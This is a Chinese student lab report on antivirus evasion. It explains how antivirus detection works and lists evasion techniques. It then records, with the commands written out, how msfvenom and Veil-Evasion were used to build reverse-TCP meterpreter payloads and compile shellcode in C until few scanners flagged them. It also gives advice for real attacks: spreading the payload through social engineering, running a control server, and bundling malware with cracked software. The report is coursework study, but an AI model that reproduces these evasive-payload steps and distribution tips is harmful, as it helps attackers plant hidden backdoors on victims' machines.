基础问题回答
1.杀软是如何检测出恶意代码的?
(1)基于特征码的检测
学习信息安全概论的时候,我们知道一段特征码就是一串数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。AV(不是那个av^^)要做的就是尽量搜集最全的、最新的特征码库。
(2)启发式恶意软件检测
其主要特点是根据片面特征去推断,感觉有点像墨菲法则,就是如果你认为他是坏人,那就是了……是不是太一刀切了,所以嘛,他是概率性的。
(3)基于行为的恶意软件检测
这属于启发式的一种,或是行为监控的启发式。
2.免杀是做什么?
免杀就是指恶意程序通过伪装或漏洞,逃过杀软的查杀。
3.免杀的基本方法有哪些?
(1)改变特征码:
加壳或加伪装壳,让杀毒软件无法进行反汇编、逆向工程,进而无法分析代码
用encode进行编码,重组
用其他语言进行重写再编译
(2)改变行为
- 改变通讯方式
尽量使用反弹式连接
使用隧道技术
加密通讯数据
- 改变操作模式
基于内存操作
减少对系统的修改
(3)非常规方法
使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
使用社工类攻击,诱骗目标关闭AV软件。
纯手工打造一个恶意软件。
2.实践总结与体会
这次实验主要是实现免杀,尤其是自己利用shellcode编写了一个恶意代码,将其植入目标主机,杀毒软件几乎发现不了, 可见我们不能一味地依赖杀软。再有就是感觉要实现免杀有很多种方法,加壳的方法也很多,包括可以利用密码学的知识, 给恶意代码加密,这样杀软就有很大可能检测不出来,还有很多方法值得去实践。
3.离实战还缺些什么技术或步骤?
若说要真正实现实战,单单有恶意程序是不够的,即使躲过了杀毒软件,但要想要让更多人的人去下载你的程序,就需要在社会工程学上多下心思了。
另外服务器也需要我们去搭建,这样覆盖范才能广泛,并保证控制端的监听状态稳定。
面对杀软,要做到与时俱进,实时更新程序,杀软的病毒库是在不断的扩充当中,只有你的更新速度超过杀软的扩充速度,才能真正实现大范围的隐蔽的攻击。
可以通过在用户迫切需要使用的正常程序上绑定恶意程序。例如破解程序等。
4.实践过程记录
(1)msfvenom直接生成meterpreter可执行文件
windows ip:192.168.39.131
kali ip:192.168.39.144
根据攻击机的IP用msfvenom直接生成meterpreter可执行文件
将其复制到Windows桌面,一开始防火墙会自动隔离,打开防火墙允许该文件,将文件传至网站:www.virscan.org进行检测,检测结果如下:
通过上面的实验可以看出现在编码的方式没有免杀的功能,还是要变换方式进行免杀的改造
(2)用Veil-Evasion生成可执行文件
kali原本没有veil-evasion ,所以需要先安装
我们直接从 github 上进行 clone 下载:
git clone https://www.github.com/Veil-Framework/Veil-Evasion.git
之后步骤详见:https://zhuanlan.zhihu.com/p/22960588?refer=xh-coding
在以上一系列繁杂的安装过程后下面我们就可以来正常使用 Veil-Evasion 啦!我们进入到Veil-Evasion目录下,执行如下命令:
python Veil-Evasion.py
按照menu提示进行相关操作:
menu下依次输入语言、ip、文件名及端口号等
注意:由于自己的电脑没法生成文件,此处换了另一个IP,不影响最终结果。
use c/meterpreter/rev_tcp_service.py
set LHOST 192.168.119.18
set LPORT 443
generate
lx
将生成的文件复制到主机,上传网站:www.virscan.org进行检测
15%的杀毒软件报告发现病毒。
(3)使用c语言调用shellcode
使用命令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.39.144 LPORT=443 -f c
把生成的代码从虚拟机中复制出来,加入到word中省略部分中,用Microsoft Visual Studio 2012或者Visual C++ 6.0进行编译运行生成可执行文件。
检测结果如下:
7%的杀毒软件报告发现病毒。
5.遇到的问题与解决过程
use c/meterpreter/rev_tcp_service.py
set LHOST 192.168.39.144
generate
9223
1
之后就显示如下界面,没法生成文件
之后根据提示执行update.py,问题还是没有得到解决,相反51 playloads loaded
变成了0 playloads loaded
。从网上搜也没有相关的解决办法。
所以我就换了一台电脑做,然后就成功生成文件了。